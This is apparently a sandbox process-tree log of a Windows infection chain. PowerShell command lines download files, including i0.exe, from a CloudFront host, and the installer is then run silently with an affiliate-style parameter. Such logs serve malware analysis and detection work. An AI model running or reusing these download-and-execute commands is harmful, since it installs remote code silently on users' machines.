powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1001','stat')"
2756powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1001','i0.exe')"
2864i0.tmp "C:\Users\test22\AppData\Local\Temp\is-HMERC.tmp\i0.tmp" /SL5="$90178,26775516,899584,C:\Users\test22\AppData\Local\Temp\i0.exe" /verysilent /sub=1001
3056explorer.exe C:\Windows\Explorer.EXE
1452